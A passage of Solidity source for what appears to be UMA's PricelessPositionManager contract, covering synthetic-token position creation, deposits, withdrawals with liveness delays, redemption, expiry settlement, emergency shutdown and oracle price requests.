event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event ContractExpired(address indexed caller);
event SettleExpiredPosition(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
event EmergencyShutdown(address indexed caller, uint256 originalExpirationTimestamp, uint256 shutdownTimestamp);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyPreExpiration() {
_onlyPreExpiration();
_;
}
modifier onlyPostExpiration() {
_onlyPostExpiration();
_;
}
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
// Check that the current state of the pricelessPositionManager is Open.
// This prevents multiple calls to `expire` and `EmergencyShutdown` post expiration.
modifier onlyOpenState() {
_onlyOpenState();
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PricelessPositionManager
* @dev Deployer of this contract should consider carefully which parties have ability to mint and burn
* the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts
* can mint new tokens, which could be used to steal all of this contract's locked collateral.
* We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles)
* is assigned to this contract, whose sole Minter role is assigned to this contract, and whose
* total supply is 0 prior to construction of this contract.
* @param _expirationTimestamp unix timestamp of when the contract will expire.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _tokenAddress ERC20 token used as synthetic token.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _minSponsorTokens minimum number of tokens that must exist at any time in a position.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
* @param _financialProductLibraryAddress Contract providing contract state transformations.
*/
constructor(
uint256 _expirationTimestamp,
uint256 _withdrawalLiveness,
address _collateralAddress,
address _tokenAddress,
address _finderAddress,
bytes32 _priceIdentifier,
FixedPoint.Unsigned memory _minSponsorTokens,
address _timerAddress,
address _financialProductLibraryAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() {
require(_expirationTimestamp > getCurrentTime());
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier));
expirationTimestamp = _expirationTimestamp;
withdrawalLiveness = _withdrawalLiveness;
tokenCurrency = ExpandedIERC20(_tokenAddress);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
// Initialize the financialProductLibrary at the provided address.
financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress);
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Requests to transfer ownership of the caller's current position to a new sponsor address.
* Once the request liveness is passed, the sponsor can execute the transfer and specify the new sponsor.
* @dev The liveness length is the same as the withdrawal liveness.
*/
function requestTransferPosition() public onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp == 0);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp);
// Update the position object for the user.
positionData.transferPositionRequestPassTimestamp = requestPassTime;
emit RequestTransferPosition(msg.sender);
}
/**
* @notice After a passed transfer position request (i.e., by a call to `requestTransferPosition` and waiting
* `withdrawalLiveness`), transfers ownership of the caller's current position to `newSponsorAddress`.
* @dev Transferring positions can only occur if the recipient does not already have a position.
* @param newSponsorAddress is the address to which the position will be transferred.
*/
function transferPositionPassedRequest(address newSponsorAddress)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
require(
_getFeeAdjustedCollateral(positions[newSponsorAddress].rawCollateral).isEqual(
FixedPoint.fromUnscaledUint(0)
)
);
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.transferPositionRequestPassTimestamp != 0 &&
positionData.transferPositionRequestPassTimestamp <= getCurrentTime()
);
// Reset transfer request.
positionData.transferPositionRequestPassTimestamp = 0;
positions[newSponsorAddress] = positionData;
delete positions[msg.sender];
emit RequestTransferPositionExecuted(msg.sender, newSponsorAddress);
emit NewSponsor(newSponsorAddress);
emit EndedSponsorPosition(msg.sender);
}
/**
* @notice Cancels a pending transfer position request.
*/
function cancelTransferPosition() external onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp != 0);
emit RequestTransferPositionCanceled(msg.sender);
// Reset withdrawal request.
positionData.transferPositionRequestPassTimestamp = 0;
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(msg.sender);
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw` from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral))
);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp);
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = requestPassTime;
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
onlyPreExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime()
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.withdrawalRequestPassTimestamp != 0);
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @dev This contract must have the Minter role for the `tokenCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
fees()
nonReentrant()
{
PositionData storage positionData = positions[msg.sender];
// Either the new create ratio or the resultant position CR must be above the current GCR.
require(
(_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount),
positionData.tokensOutstanding.add(numTokens)
) || _checkCollateralization(collateralAmount, numTokens)),
"Insufficient collateral"
);
require(positionData.withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
require(tokenCurrency.mint(msg.sender, numTokens.rawValue));
}
/**
* @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`.
* This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens.
* @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt from the sponsor's debt position.
*/
function repay(FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue);
// Transfer the tokens back from the sponsor and burn them.
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(!numTokens.isGreaterThan(positionData.tokensOutstanding));
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed =
fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral));
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice After a contract has passed expiry all token holders can redeem their tokens for underlying at the
* prevailing price defined by the DVM from the `expire` function.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the proportional amount of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleExpired()
external
onlyPostExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// If the contract state is open and onlyPostExpiration passed then `expire()` has not yet been called.
require(contractState != ContractState.Open, "Unexpired position");
// Get the current settlement price and store it. If it is not resolved will revert.
if (contractState != ContractState.ExpiredPriceReceived) {
expiryPrice = _getOraclePriceExpiration(expirationTimestamp);
contractState = ContractState.ExpiredPriceReceived;
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral = tokensToRedeem.mul(expiryPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying.
FixedPoint.Unsigned memory tokenDebtValueInCollateral = positionData.tokensOutstanding.mul(expiryPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral =
tokenDebtValueInCollateral.isLessThan(positionCollateral)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout =
FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleExpiredPosition(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Locks contract state in expired and requests oracle price.
* @dev this function can only be called once the contract is expired and can't be re-called.
*/
function expire() external onlyPostExpiration() onlyOpenState() fees() nonReentrant() {
contractState = ContractState.ExpiredPriceRequested;
// Final fees do not need to be paid when sending a request to the optimistic oracle.
_requestOraclePriceExpiration(expirationTimestamp);
emit ContractExpired(msg.sender);
}
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the standard `settleExpired` function. Contract state is set to `ExpiredPriceRequested`
* which prevents re-entry into this function or the `expire` function. No fees are paid when calling
* `emergencyShutdown` as the governor who would call the function would also receive the fees.
*/
function emergencyShutdown() external override onlyPreExpiration() onlyOpenState() nonReentrant() {
require(msg.sender == _getFinancialContractsAdminAddress());
contractState = ContractState.ExpiredPriceRequested;
// Expiratory time now becomes the current time (emergency shutdown time).
// Price requested at this time stamp. `settleExpired` can now withdraw at this timestamp.
uint256 oldExpirationTimestamp = expirationTimestamp;
expirationTimestamp = getCurrentTime();
_requestOraclePriceExpiration(expirationTimestamp);
emit EmergencyShutdown(msg.sender, oldExpirationTimestamp, expirationTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override onlyPreExpiration() nonReentrant() {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
// Note: do a direct access to avoid the validity check.
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral));
}
/**
* @notice Accessor method for the total collateral stored within the PricelessPositionManager.
* @return totalCollateral amount of all collateral within the Expiring Multi Party Contract.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
*/
function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
/**
* @notice Accessor method to compute a transformed price using the finanicalProductLibrary specified at contract
* deployment. If no library was provided then no modification to the price is done.
* @param price input price to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice price with the transformation function applied to it.
* @dev This method should never revert.
*/
function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return _transformPrice(price, requestTime);
}
/**
* @notice Accessor method to compute a transformed price identifier using the finanicalProductLibrary specified
* at contract deployment. If no library was provided then no modification to the identifier is done.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPrice price with the transformation function applied to it.
* @dev This method should never revert.
*/
function transformPriceIdentifier(uint256 requestTime) public view nonReentrantView() returns (bytes32) {
return _transformPriceIdentifier(requestTime);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(tokensToRemove);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
FixedPoint.Unsigned memory remainingRawCollateral = positionToLiquidate.rawCollateral;
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(remainingRawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePriceExpiration(uint256 requestedTime) internal {
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Increase token allowance to enable the optimistic oracle reward transfer.
FixedPoint.Unsigned memory reward = _computeFinalFees();
collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), reward.rawValue);
optimisticOracle.requestPrice(
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData(),
collateralCurrency,
reward.rawValue // Reward is equal to the final fee
);
// Apply haircut to all sponsors by decrementing the cumlativeFeeMultiplier by the amount lost from the final fee.
_adjustCumulativeFeeMultiplier(reward, _pfc());
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePriceExpiration(uint256 requestedTime) internal returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
require(
optimisticOracle.hasPrice(
address(this),
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData()
)
);
int256 optimisticOraclePrice =
optimisticOracle.settleAndGetPrice(
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData()
);
// For now we don't want to deal with negative prices in positions.
if (optimisticOraclePrice < 0) {
optimisticOraclePrice = 0;
}
return _transformPrice(FixedPoint.Unsigned(uint256(optimisticOraclePrice)), requestedTime);
}
// Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePriceLiquidation(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(_transformPriceIdentifier(requestedTime), requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePriceLiquidation(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(_transformPriceIdentifier(requestedTime), requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(_transformPriceIdentifier(requestedTime), requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return _transformPrice(FixedPoint.Unsigned(uint256(oraclePrice)), requestedTime);
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyOpenState() internal view {
require(contractState == ContractState.Open, "Contract state is not OPEN");
}
function _onlyPreExpiration() internal view {
require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry");
}
function _onlyPostExpiration() internal view {
require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry");
}
function _onlyCollateralizedPosition(address sponsor) internal view {
require(
_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0),
"Position has no collateral"
);
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global =
_getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
if (!numTokens.isGreaterThan(0)) {
return FixedPoint.fromUnscaledUint(0);
} else {
return collateral.div(numTokens);
}
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
